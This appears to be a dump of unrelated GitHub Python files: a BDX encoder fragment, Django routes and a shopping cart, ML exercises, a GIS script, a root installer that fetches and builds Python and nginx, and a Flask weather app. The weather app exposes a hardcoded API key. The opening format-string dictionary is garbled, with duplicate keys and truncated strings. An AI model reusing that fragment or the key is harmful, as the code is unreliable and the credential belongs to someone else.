self.dtype_len_fmt = {\n 1: {\n True: {\n True: '>b',\n False: '>B'\n },\n False: {\n True: 'h',\n False: '>H'\n },\n False: {\n True: 'i',\n False: '>I'\n },\n False: {\n True: 'l',\n False: '>L'\n },\n False: {\n True: ' 1:\n self.log_cmd_op(1, f'cache')\n self._write_op(1)\n if self.log_level['cache'] > 1:\n self.log_cmd_args(f'{block_name} as {block_id}')\n self.block_id_name_mapping.append(block_name)\n self.block_name_id_mapping[block_name] = block_id\n self._write_str(block_name)\n return block_id\n\n def write_cmd(self, op_code, op_group, op_name, op, params):\n if self.log_level[op_group] > 0:\n self._need_log = True\n if op_code == 26:\n op_name = 'assign CB + data'\n if op_code == 27:\n op_name = 'place CB + data'\n self.log_cmd_op(op_code, op_name)\n else:\n self._need_log = False\n if op_code != 1:\n # sometimes the block is already cached\n self._write_op(op_code)\n if params is None:\n op()\n elif isinstance(params, list) or isinstance(params, tuple):\n op(*params)\n elif isinstance(params, dict):\n op(**params)\n else:\n op(params)\n\n def write_cmds(self, cmds, palette):\n self.block_name_id_mapping = {}\n self.block_id_name_mapping = []\n self.bdx_cmd_bytes = []\n self.log(f'author : {self.author}\\t[', end='')\n self._write_str(self.author)\n self.log(f']', end='')\n self.log_off = True\n for k, v in self.log_level.items():\n if v > 0:\n self.log_off = False\n break\n assert len(palette) == len(list(set(palette)))\n if palette is not None:\n self._need_log = self.log_level['cache'] > 1\n for block_name in palette:\n self.add_to_block_palette(block_name)\n\n # create look up table first\n op_name_code_mapping = {}\n op_code_name_mapping = {}\n for op_code, (op_group, op_name, op) in self.op_table.items():\n op_code_name_mapping[op_name] = op_code\n op_name_code_mapping[op_code] = op_name\n\n cmd0 = cmds[0]\n if len(cmd0) == 3:\n # op_code, op_name, params format\n for (op_code, _op_name, params) in cmds:\n op_group, op_name, op = self.op_table[op_code]\n assert _op_name == op_name, f'{_op_name} {op_name} mismatch'\n self.write_cmd(op_code, op_group, op_name, op, params)\n elif len(cmd0) == 2:\n if isinstance(cmd0[0], str):\n # op_name params format\n for (op_name, params) in cmds:\n op_code = op_code_name_mapping[op_name]\n op_group, op_name, op = self.op_table[op_code]\n self.write_cmd(op_code, op_group, op_name, op, params)\n else:\n # op_code params format\n for (op_code, params) in cmds:\n op_group, op_name, op = self.op_table[op_code]\n self.write_cmd(op_code, op_group, op_name, op, params)\n else:\n raise NotImplementedError(\"unsupport format\")\n\n self._need_log = True\n print()\n\n\nif __name__ == '__main__':\n if len(sys.argv) == 1:\n print('at least tell me what .json to encode')\n print('python3 thisfile.py rigmarole_in.json encoded.bdx log.txt')\n exit(0)\n\n in_json_name = sys.argv[1]\n out_bdx_name = 'encode_out.bdx'\n log_file_name = None\n\n if len(sys.argv) > 2:\n out_bdx_name = sys.argv[2]\n if len(sys.argv) > 3:\n log_file_name = sys.argv[3]\n\n encoder = BdxEncoder(need_sign=True,\n log_path=log_file_name,\n author='2401PT')\n encoder.log_nothing()\n encoder.log_command_block_only()\n\n with open(in_json_name, 'r') as f:\n data_to_write = json.load(f)\n\n cmds = data_to_write[\"cmds\"]\n palette = None\n author = encoder.author\n fb_token = None\n # it is ok to include palette here or just in cmds\n # if 'palette' in data_to_write.keys():\n # palette = data_to_write[\"palette\"]\n if 'author' in data_to_write.keys():\n author = data_to_write[\"author\"]\n if 'fb_token' in data_to_write.keys():\n fb_token = data_to_write['fb_token']\n bdx_bytes = encoder.encode(cmds=cmds,\n author=author,\n palette=palette,\n sign_token=fb_token)\n\n with open(out_bdx_name, 'wb') as f:\n f.write(bdx_bytes)","repo_name":"CMA2401PT/BDXWorkShop","sub_path":"canvas/encode_bdx.py","file_name":"encode_bdx.py","file_ext":"py","file_size_in_byte":20193,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"16188741925","text":"from planetarium.views import (\n ShowThemeViewSet,\n PlanetariumDomeViewSet,\n AstronomyShowViewSet,\n ReservationViewSet,\n ShowSessionViewSet,\n TicketViewSet,\n)\nfrom rest_framework import routers\n\nrouter = routers.DefaultRouter()\nrouter.register(\"show-themes\", ShowThemeViewSet)\nrouter.register(\"planetarium-domes\", PlanetariumDomeViewSet)\nrouter.register(\"astronomy-shows\", AstronomyShowViewSet)\nrouter.register(\"reservations\", ReservationViewSet)\nrouter.register(\"show-sessions\", ShowSessionViewSet)\nrouter.register(\"tickets\", TicketViewSet)\n\nurlpatterns = router.urls\n\napp_name = \"planetarium\"\n","repo_name":"Phoenix-Erazer/Planetarium-API-Service","sub_path":"planetarium/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5287301821","text":"import pandas as pd\nimport numpy as np \n\n\ndata = pd.read_csv(r\"D:\\upes\\2nd year\\Sem 2\\Intro to ML\\lab\\Bayes.csv\")\n\n\nX = data.iloc[:,:-1].values\nprint(X)\n\n\nY = data.iloc[: ,-1].values\nprint(Y)\n\n\nfrom sklearn import preprocessing \nle = preprocessing.LabelEncoder()\nY = le.fit_transform(Y)\nprint(Y)\n\n\nfor i in range(0 , 4):\n X[:,i] = le.fit_transform(X[:,i])\nprint(X)\n\n\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.model_selection import train_test_split\nX_train , X_test , Y_train , Y_test = train_test_split(X , Y , test_size = 0.2 , random_state = 1)\nprint(X_train)\n\n\nmodel = GaussianNB()\nY_pred = model.fit(X_train, Y_train).predict(X_test)\nprint(\"Number of mislabeled points out of a total \",X_test.shape[0], \"points: \",(Y_test != Y_pred).sum())\n\n\n\nprint(\"The X testing dataset is :\\n\",X_test)\nprint(\"The Y testing dataset is :\\n\",Y_test)\nprint(\"The predicted Values are :\\n\",Y_pred)","repo_name":"AradhyaMahant/MachineLearning","sub_path":"BayesianClassification.py","file_name":"BayesianClassification.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39567973265","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 6 09:44:10 2018\n\n@author: natasha_yang\n\n@e-mail: ityangna0402@163.com\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport time\nfrom conf.conf import args\n\n#Q-learning是一种记录行为值的方法\n#选择状态\nactions = [action.replace(' ', '') for action in args.get_option('dqn_01', 'ACTIONS').split(',')]\ndef choose_action(state, q_table):\n state_actions = q_table.iloc[state, :]#是index,就是第state行\n #如果非贪婪模式 或者 这个state对应的所有action的值都是0\n if (np.random.uniform() > args.get_option('dqn_01', 'EPSILON', 'float') or ((state_actions == 0).all())):\n #在动作中随便选择一个\n action_name = np.random.choice(actions)\n else:\n #选择当前state q-table中值最大的action\n action_name = state_actions.idxmax()\n return action_name\n\n#创建q-table\ndef build_q_table(n_states, actions):\n table = pd.DataFrame(\n np.zeros((n_states, len(actions))),#6*2\n columns=actions,#列是action\n )\n #print(table)\n return table\n\n#环境反馈\ndef get_env_feedback(state, action):\n if action == 'right':#向右移动\n if state == args.get_option('dqn_01', 'N_STATES', 'int') - 2:\n state_ = 'terminal'\n reward = 1\n else:\n state_ = state + 1\n reward = 0\n else:#向左移动\n reward = 0\n if state == 0:\n state_ = state#挨着墙了\n else:\n state_ = state - 1\n return state_, reward\n\n#更新环境\ndef update_env(state, episode, step_counter):\n # This is how environment be updated\n env_list = ['-']*(args.get_option('dqn_01', 'N_STATES', 'int')-1) + ['T'] # '---------T' our environment\n if state == 'terminal':\n interaction = 'Episode %s: total_steps = %s' % (episode+1, step_counter)\n print('\\r{}'.format(interaction), end='')\n time.sleep(2)\n print('\\r ', end='')\n else:\n env_list[state] = 'o'\n interaction = ''.join(env_list)\n print('\\r{}'.format(interaction), end='')#保证输出在同一行,且会清空当时的显示\n time.sleep(args.get_option('dqn_01', 'FRESH_TIME', 'float'))\n\ndef rl():\n q_table = build_q_table(args.get_option('dqn_01', 'N_STATES', 'int'), actions)#6,2\n for episode in range(args.get_option('dqn_01', 'MAX_EPISODES', 'int')):\n step_counter = 0\n state = 0\n is_terminated = False\n update_env(state, episode, step_counter)\n while not is_terminated:\n action = choose_action(state, q_table)\n state_, reward = get_env_feedback(state, action)\n q_predict = q_table.loc[state, action]#估计值\n if state_ != 'terminal':\n #做了这个action之后的奖励+和下一个状态可能要获得的奖励\n q_target = reward + args.get_option('dqn_01', 'GAMMA', 'float') * q_table.iloc[state_, :].max()#现实值\n else:\n q_target = reward\n is_terminated = True\n \n #现实和估计的差距\n q_table.loc[state, action] += args.get_option('dqn_01', 'ALPHA', 'float') * (q_target - q_predict)\n state = state_\n update_env(state, episode, step_counter+1)\n step_counter += 1\n return q_table\n\nif __name__ == '__main__':\n q_table = rl()\n print('Q-table:')\n print(q_table)\n\n#不理解环境model-free:Q-Learning+sarsa+Policy-Gradients\n#理解环境model-base:想像预判\n#基于概率:每种动作都可能选中只是P不同\n#基于价值:选择某个价值最高的动作,连续动作无能为力Policy-Gradients\n#基于概率Actor-Crictic基于价值\n#回合更新 + 单步更新(更有价值)\n\n#安装gym:pip3 install gym,全部安装:pip3 install gym[all]","repo_name":"yangnaGitHub/LearningProcess","sub_path":"module/dqn/dqn_01.py","file_name":"dqn_01.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36581637303","text":"from pathlib import Path\n\nimport geopandas as gpd\nimport pandas as pd\n\n\nLOCATIONS_DIR = Path('locations')\n\nlocal_authorities = gpd.read_file(LOCATIONS_DIR / 'England Counties.shp')\\\n .rename(columns={'NAME': 'County'})\n\n# Get all points, disregarding overlaps and using centroids for polygons.\npub_points = gpd.read_file(\n LOCATIONS_DIR / 'england pub_points.geojson'\n).to_crs('EPSG:27700')\n\npub_polys= gpd.read_file(\n LOCATIONS_DIR / 'england pub_polygons.geojson'\n).to_crs('EPSG:27700')\n\noverlaps = gpd.sjoin(pub_points, pub_polys, how='inner', op='within')\n\npub_points = pub_points[~pub_points.index.isin(overlaps.index)]\n\npoly_centroids = pub_polys.copy()\npoly_centroids['geometry'] = poly_centroids['geometry'].centroid\n\npoint_layer = pd.concat([pub_points, poly_centroids])\npoint_layer['name_short'] = point_layer['name']\n\nremovals = {\n 'the\\s+': '',\n '\\s+inn': '',\n '\\s+arms': '',\n '\\s+head': '',\n '\\s+hotel': '',\n '\\s+tavern': '',\n '\\s+social club': '',\n '\\s+house': '',\n 'ye\\s+olde\\s+': '',\n '\\s+bar': '',\n '\\s+tap': '',\n '\\s+pub': '',\n '\\s+vaults': '',\n '\\s+club': '',\n '&': 'and'\n }\n\nfor old, new in removals.items():\n point_layer['name_short'] = point_layer['name_short'].str.replace(old, new, regex=True)\n\npoint_layer['name_short'] = point_layer['name_short'].str.title()\n\nmerged_authorities = gpd.sjoin(point_layer, local_authorities, how='inner', op='within')\n\nname_counts = merged_authorities.groupby(['County', 'name_short'], as_index=False).size()\n# name_counts.to_csv('County Pub Name counts.csv', index=False)\n\nla_max = name_counts.groupby('County')['size'].transform('max')\n\n# We might get duplicates. Return them all!\nmax_counts = name_counts[name_counts['size'].eq(la_max)]\\\n .groupby('County', as_index=False)\\\n .agg({'size': 'first', 'name_short': ', or '.join})\n\nmax_counts.to_csv('County max counts.csv', index=False)\n\n\n# merged_authorities.to_file('all_points.shp')\n\nla_counts = local_authorities.merge(max_counts, on='LA')\nla_counts.to_file(LOCATIONS_DIR / 'England counties_counted.shp')\n","repo_name":"asongtoruin/data_analysis","sub_path":"pub names/counties.py","file_name":"counties.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"17197774558","text":"#!/usr/bin/python\n#coding:utf-8\nimport os \nimport sys\n \nif os.getuid() == 0:\n pass\nelse:\n print ('Not under root mode, please switch user!')\n sys.exit(1)\n\nyilai = 'yum install gcc gcc-c++ openssl openssl-devel ncurses ncurses pcre zlib zlib-devel pcre-devel libtool automake autoconf curl curl-devel libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxslt libxslt-devel bzip2 bzip2-devel openldap openldap-devel libffi-devel -y'\nres = os.system(yilai)\n\nurl = 'https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz'\ncmd = 'wget ' + url\nres = os.system(cmd)\nif res != 0 :\n print ('Failed to download python source package, please inspect your network!')\n sys.exit(1)\n\n#package_version = 'Python-3.7.1'\npackage_version = url.split('/')[-1]\n\ncmd = 'tar zxvf '+ package_version\nres = os.system(cmd)\n \n#if res != 0:\n# os.system('rm ' + package_version + '.tgz')\n# print 'Please reexcute the script to install python'\n# sys.exit(1)\n \n\ncmd = 'cd ' + package_version + ' && ./configure --prefix=/usr/local/python && make && make install'\n \nres = os.system(cmd)\n \nif res != 0:\n print ('Failed to install python!')\n sys.exit(1)\n\ncmd = 'ln -s /usr/local/python/bin/pip3 /usr/bin/pip3 && ln -s /usr/local/python/bin/python3 /usr/bin/python3'\nres = os.system(cmd)\nif res != 0:\n print ('Unable to create link!')\n sys.exit(1)\nelse:\n print('Python3 install success!')\n#Nginx\n\n\nurl = 'http://nginx.org/download/nginx-1.14.2.tar.gz'\ncmd = 'wget ' + url\nres = os.system(cmd)\nif res != 0 :\n print ('Failed to download nginx source package, please inspect your network!')\n sys.exit(1)\n\nnginx_package_version = url.split('/')[-1]\n#nginx_package_version = 'nginx-1.14.2'\n\ncmd = 'tar zxvf '+ nginx_package_version\nres = os.system(cmd)\n\ncmd = 'cd ' + nginx_package_version + ' && ./configure --prefix=/usr/local/nginx && make && make install'\nres = os.system(cmd)\nif res != 0:\n print ('Failed to install nginx!')\n sys.exit(1)\nelse:\n print('install python3 and nginx success')\n\n","repo_name":"karinbaka/python3","sub_path":"test/mysqlold.py","file_name":"mysqlold.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34050175326","text":"#!/usr/bin/env python\nimport unittest\nimport pytest\nfrom xml.dom.minidom import parseString\n\nSAMPLE_WIKI = 'h4. Confluence Markup\\n\\n* A\\n* B\\n'\nSAMPLE_XML = \"\"\"

            Confluence Markup

            \n\n
              \n
            • A
            • \n
            • B
            • \n
            \n\"\"\"\n\n\nclass ConfluenceTests(unittest.TestCase):\n # _multiprocess_can_split_ = True\n\n def setUp(self):\n from confluence import Confluence\n self.conf = Confluence(profile=\"confluence\")\n\n # def test_getPage(self):\n # page = self.conf.getPage(page='test',space='ds')\n # print page\n\n @pytest.mark.xfail(reason=\"Response contains mismatched tag; see issue 16.\")\n def test_renderContent(self):\n result = self.conf.renderContent(page='Welcome to Confluence', space='ds')\n # tree = ElementTree.fromstring(result)\n # html = lxml.html.fromstring(result)\n\n x = parseString(result)\n e = x.getElementById('Content')\n self.assertFalse(e is None, \"Unable to find element with id=Content in: '%s'\" % result)\n e.toxml()\n\n # result = html.get_element_by_id(\"Content\").__str__()\n\n self.assertEqual(result, SAMPLE_XML, \"Got '%s' while expecting '%s'.\" % (result, SAMPLE_XML))\n\n @pytest.mark.xfail(reason='travis not configured yet')\n def test_storePageContent(self):\n self.conf.storePageContent(page='test', space='ds', content=SAMPLE_WIKI)\n result = self.conf.getPage(page='test', space='ds')['content']\n print(\":\".join(\"{0:x}\".format(ord(c)) for c in result))\n print(\":\".join(\"{0:x}\".format(ord(c)) for c in SAMPLE_XML))\n self.assertEqual(result, SAMPLE_WIKI, \"Got '%s' while expecting '%s'.\" % (result, SAMPLE_XML))\n\n\nclass Confluence5Tests(ConfluenceTests):\n\n def setUp(self):\n from confluence import Confluence\n self.conf = Confluence(profile=\"confluence-test\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"pycontribs/confluence","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":137,"dataset":"github-code","pt":"72"} +{"seq_id":"19889891407","text":"from ..training_utils.training import load_model\nfrom ..constants import PATH\nimport math\nimport os\nimport cv2\nimport logging\nfrom PIL import Image\nimport numpy as np\nimport torch\nimport torchvision\n\nlogging.basicConfig(level = logging.INFO)\n\n\ndef filter_predictions(predictions, score_threshold=0.5, nms_threshold=0.5, return_labels=False):\n boxes = predictions['boxes'][predictions['scores'] >= score_threshold]\n scores = predictions['scores'][predictions['scores'] >= score_threshold]\n labels = predictions['labels'][predictions['scores'] >= score_threshold]\n valid_idx = torchvision.ops.nms(boxes, scores, nms_threshold)\n if return_labels:\n return boxes[valid_idx], scores[valid_idx], labels[valid_idx]\n return boxes[valid_idx], scores[valid_idx]\n\n\ndef draw_bbox(img, xmin, ymin, xmax, ymax, color=(255,0,0), thickness=1, score=None):\n if score:\n try:\n THICKNESS_SCALE = 3e-3 \n FONT_SCALE = 2e-3 # Adjust for larger font size in all images\n w,h = img.shape[:2]\n img = cv2.putText(img, str(round(score,2)), (int(xmax)-1,int(ymin)-1), \n cv2.FONT_HERSHEY_SIMPLEX, fontScale=min(w, h)*FONT_SCALE, color=color, \n thickness=math.ceil(min(w, h) * THICKNESS_SCALE), lineType=cv2.LINE_AA)\n except Exception as e:\n logging.warn(e)\n logging.warn(\"No se pudo graficar el puntaje de la predicción debido a su posición. Salteando..\")\n return cv2.rectangle(img, (int(xmin), int(ymin)), (int(xmax), int(ymax)), \n color, thickness)\n\n\ndef visualize_boxes(img, boxes, scores=None, **kwargs):\n img = np.array(img)\n if scores is None:\n scores = [None]*len(boxes)\n for b,s in zip(boxes, scores):\n xmin = b[0]\n ymin = b[1]\n xmax = b[2]\n ymax = b[3]\n img = draw_bbox(img, xmin, ymin, xmax, ymax, score=s, **kwargs)\n return Image.fromarray(img)\n\n\ndef _validate_model_options(object_to_predict, object_types = ['tablas', 'cardinalidades']):\n if object_to_predict.lower() not in object_types:\n raise ValueError(f\"Opción no válida. Las opciones son: {object_types}\")\n\n\ndef get_model(object_to_predict, models_path=os.path.join(PATH, \"models\")): \n _validate_model_options(object_to_predict)\n\n if object_to_predict == \"tablas\":\n return load_model(os.path.join(models_path, f\"retinanet_tablas.pt\"))\n else:\n return torch.hub.load('ultralytics/yolov5', 'custom', \n os.path.join(models_path, \"yolo_cardinalidades.pt\"), verbose=False)\n\n\n\n\n\n\n","repo_name":"IgnacioCazcarra/TFI-Cazcarra","sub_path":"src/detection/prediction_utils.py","file_name":"prediction_utils.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28412314436","text":"class Solution:\n \"\"\"\n @param nums: a binary array\n @return: the maximum length of a contiguous subarray\n \"\"\"\n def findMaxLength(self, nums):\n # n - two sum using hash_table: val: ind \n count = 0 \n count_dict = {0: -1} # count: ind \n result = 0\n for i, num in enumerate(nums):\n if num == 0:\n count -= 1 \n elif num == 1:\n count += 1 \n \n if count in count_dict:\n result = max(result, i - count_dict[count])\n else:\n # keep the old ind if count already exists\n count_dict[count] = i\n \n return result\n","repo_name":"KunyiLiu/algorithm_problems","sub_path":"kunyi/data_structure/hash_table/contiguous-array.py","file_name":"contiguous-array.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4845453091","text":"from flask import Flask, request, render_template\nimport json\nimport requests\n\napp = Flask(__name__)\n\n@app.route('/firstrequest', methods=['GET'])\ndef firstRequest():\n return('You just posted.... ')\n\n@app.route('/secondrequest', methods=['GET'])\ndef secondRequest():\n userAgent = str(request.headers['User-Agent'])\n return(render_template('start.html', userAgent = userAgent))\n\n@app.route('/fourthrequest', methods=['GET'])\ndef fourthRequest():\n return(int(\"HI\"))\n\n@app.route('/thirdrequest', methods=['GET', 'POST'])\ndef thirdRequest():\n reqData = request.form\n return('You just posted.... ' + str(reqData))\n\n@app.route('/weather', methods=['GET'])\ndef weather():\n response=requests.get('http://api.openweathermap.org/data/2.5/weather?q=Singapore&appid=7953d6c069a2f1865b1534f2e1cb6be3')\n data = response.json()\n weather = data[\"weather\"][0][\"description\"]\n weather1 = data[\"weather\"][0][\"main\"]\n return (render_template('index.html', data_to_pass = weather,data_to_pass_1 = weather1))\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"blizzara1/website","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30688673135","text":"#희문 문자열 검사\nimport sys\n# sys.stdin = open(\"input.txt\", \"rt\")\nn = int(input())\nfor j in range(n):\n word = input().lower()\n #길이가 계속 반복되면 size = len(word)\n\n for i in range(len(word) // 2):\n if word[len(word) - i - 1] != word[i]: # s == s[::-1]\n print(f'#{j + 1} NO')\n break\n else:\n print(f'#{j + 1} YES')","repo_name":"jisuuuu/Algorithm_Study","sub_path":"Inflern/inflern_algorithm/3_no_1.py","file_name":"3_no_1.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73664800872","text":"import numpy as np\n\ndata_nd1 = np.loadtxt(\"ND1_0.csv\", delimiter=\",\")\n\ndata_nd3 = np.loadtxt(\"ND3_0.csv\", delimiter=\",\")\n\nimport matplotlib.pyplot as plt\n\nwave = 600.\n\narg = np.argmin(np.abs(data_nd1[:,0] - wave))\n\nplt.figure()\nplt.plot(data_nd3[:,0], data_nd3[:,1]/data_nd3[arg,1], color=\"blue\")\nplt.plot(data_nd1[:,0], data_nd1[:,1]/data_nd1[arg,1], color=\"green\")\n\nplt.show()\n","repo_name":"ACCarnall/example_solar_data","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15185363859","text":"import heapq\r\nimport sys\r\nsys.setrecursionlimit(10 ** 7)\r\n\r\nclass UnionFind():\r\n\tdef __init__(self, size):\r\n\t\tself.table = [-1 for _ in range(size)]\r\n\t\tself.count = 0\r\n\r\n#\tdef find(self, x):\r\n#\t\twhile self.table[x] >= 0:\r\n#\t\t\tx = self.table[x]\r\n#\t\treturn x\r\n\r\n\tdef find(self, x):\r\n\t\tif self.table[x] < 0:\r\n\t\t\treturn x\r\n\t\telse:\r\n\t\t\tself.table[x] = self.find(self.table[x])\r\n\t\t\treturn self.table[x]\r\n\r\n\tdef union(self, x, y):\r\n\t\ts1 = self.find(x)\r\n\t\ts2 = self.find(y)\r\n\t\tif s1 != s2:\r\n\t\t\tif self.table[s1] > self.table[s2]:\r\n\t\t\t\tself.table[s2] = s1\r\n\t\t\telif self.table[s1] < self.table[s2]:\r\n\t\t\t\tself.table[s1] = s2\r\n\t\t\telse:\r\n\t\t\t\tself.table[s1] = s2\r\n\t\t\t\tself.table[s2] -= 1\r\n\r\n\t\t\tself.count += 1\r\n\t\t\treturn True\r\n\t\treturn False\r\n\r\nn = int(input())\r\nx = []\r\ny = []\r\nfor i in range(n):\r\n\ta, b = map(int, input().split())\r\n\tx.append([i, a])\r\n\ty.append([i, b])\r\n\r\nvx = sorted(x, key=lambda x: x[1])\r\nvy = sorted(y, key=lambda x: x[1])\r\n\r\nedges = []\r\nuf = UnionFind(n)\r\n\r\nfor i in range(n - 1):\r\n\tif vx[i][1] == vx[i + 1][1]:\r\n\t\tuf.union(vx[i][0], vx[i + 1][0])\r\n\telse:\r\n\t\theapq.heappush(edges, (vx[i + 1][1] - vx[i][1], vx[i][0], vx[i + 1][0]))\r\n\r\n\tif vy[i][1] == vy[i + 1][1]:\r\n\t\tuf.union(vy[i][0], vy[i + 1][0])\r\n\telse:\r\n\t\theapq.heappush(edges, (vy[i + 1][1] - vy[i][1], vy[i][0], vy[i + 1][0]))\r\n\r\n\r\n#edges = sorted(edges, key=lambda x: x[2], reverse=True)\r\n#print(edges)\r\n\r\nans = 0\r\n\r\nwhile edges != []:\r\n\te = heapq.heappop(edges)\r\n\tif uf.union(e[1], e[2]):\r\n\t\tans += e[0]\r\n\tif uf.count == n - 1:\r\n\t\tbreak\r\n\r\nprint(ans)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc076/B/3090305.py","file_name":"3090305.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"957077005","text":"import fb.intent as intent\nfrom fb.modules.base import Module, response\n\nclass HelloWorldModule(Module):\n\n\tuid=\"hello\"\n\tname=\"Hello World\"\n\tdescription=\"Simple static functions for demonstration purposes.\"\n\tauthor=\"Michael Pratt (michael.pratt@bazaarvoice.com)\"\n\n\tcommands = {\n\t\t\"hello\": {\n\t\t\t\"keywords\": \"say ((hello)|(hi))\",\n\t\t\t\"function\": \"sayHello\",\n\t\t\t\"name\": \"Say Hello\",\n\t\t\t\"description\": \"Says Hello to the user\"\n\t\t}\n\t}\n\n\tlisteners = {\n\t\t\"hello\": {\n\t\t\t\"keywords\": \"((hello)|(hi)) fritbot\",\n\t\t\t\"function\": \"sayHello\",\n\t\t\t\"name\": \"Greet Fritbot\",\n\t\t\t\"description\": \"Someone said hello to the bot\"\n\t\t}\n\t}\n\n\t@response\n\tdef sayHello(self, bot, room, user, args):\n\t\treturn \"Hello, \" + user['nick']\n\nmodule = HelloWorldModule\n","repo_name":"Urthen/Fritbot_Python","sub_path":"fb/modules/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"72"} +{"seq_id":"10731022629","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Mar 3 11:15:54 2023\r\n\r\n@author: pv22aar\r\n\"\"\"\r\n\r\n#import modules pandas and matplot\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n#read csv file\r\ndf = pd.read_csv(r'./data_multiple_line.csv')\r\n\r\n#Function for plotting Line plot\r\ndef linefunction():\r\n \r\n ax = df.plot(x='Country', y=['1970', '1980', '1990', '2000']) \r\n\r\n#setting labels \r\n ax.set_ylabel(\"Population Growth\")\r\n plt.savefig(\"lineplot.png\")\r\n#calling the title function for setting a title \r\n plt.title('Population Growth 1970-2000') \r\n plt.show()\r\nlinefunction() #calling the defined function for line plot \r\n\r\n#Function for plotting Bar Graph\r\ndef barfunction():\r\n \r\n#plotting population growth during the following years \r\n ax = df.plot(x='Country', y=['1970', '1980', '1990', '2000'],kind='bar')\r\n\r\n#setting labels \r\n ax.set_ylabel(\"Population Growth\")\r\n plt.savefig(\"BarChart.png\")\r\n#calling the title function for setting a title \r\n plt.title('Population Growth 1970-2000')\r\n plt.show()\r\nbarfunction() #calling the defined function for bar plot\r\n\r\n#Function for plotting Pie Chart\r\ndef piechart():\r\n \r\n#plotting pie chart for the year 1980\r\n country = df[\"Country\"]\r\n year = df[\"1980\"]\r\n#choosing colours for the pie chart\r\n colors = [\"#1f77b4\", \"#ff7f0e\", \"#2ca02c\", \"#d62728\", \"#8c564b\"]\r\n plt.pie(year, labels=country, colors=colors, autopct='%1.1f%%', startangle=140)\r\n#calling the title function for setting a title \r\n plt.title('Population Growth in 1980')\r\n plt.legend(bbox_to_anchor=(2,1))\r\n plt.savefig(\"PieChart.png\")\r\n plt.show()\r\npiechart() #calling the defined function for pie chart\r\n \r\n\r\n","repo_name":"PoojaSunilkumar/Applied-data-science","sub_path":"PopulationGrowth.py","file_name":"PopulationGrowth.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40091299321","text":"def calculateHandlen(hand):\n \"\"\" \n Returns the length (number of letters) in the current hand.\n \n hand: dictionary (string int)\n returns: integer\n \"\"\"\n # TO DO... <-- Remove this comment when you code this function\n len = 0\n for letter in hand.keys():\n len += hand[letter]\n\n return len \n\n\n\nprint(calculateHandlen({'b': 1, 'a': 1}))","repo_name":"bokmani/edx_MITx6001","sub_path":"problem_set_4/problem4.py","file_name":"problem4.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5282906446","text":"from decimal import Decimal\nfrom django.conf import settings\nfrom shop.models import Product\n\nclass Cart(object):\n def __init__(self, request):\n \"\"\"\n Inicjacja koszyka na zakuoy\n :param request:\n \"\"\"\n self.session = request.session\n cart = self.session.get(settings.CART_SESSION_ID)\n if not cart:\n #zapisz pustego koszyka\n cart = self.session[settings.CART_SESSION_ID] = {}\n self.cart = cart\n\n def add(self, product, quantity=1, update_quantity=False):\n \"\"\"\n Dodanie lub zmaina ilości produktu w koszyku.\n konwersja na str dla jsona\n :param product:\n :param quantity:\n :param update_quantity:\n \"\"\"\n product_id = str(product.id)\n if product_id not in self.cart:\n self.cart[product_id] = {'quantity': 0, 'price': str(product.price)}\n\n if update_quantity:\n self.cart[product_id]['quantity'] = quantity\n else:\n self.cart[product_id]['quantity'] += quantity\n\n self.save()\n\n def save(self):\n self.session.modified = True\n\n def remove(self, product):\n \"\"\"\n usunięcie productu z koszyka\n :param product:\n \"\"\"\n product_id = str(product.id)\n if product_id in self.cart:\n del self.cart[product_id]\n self.save()\n\n def __iter__(self):\n \"\"\"\n Iteracja przez elementy w koszyku i pobieranie produktów z Bazy Danych\n :yield:item\n \"\"\"\n product_ids = self.cart.keys()\n products = Product.objects.filter(id__in=product_ids)\n cart = self.cart.copy()\n for product in products:\n 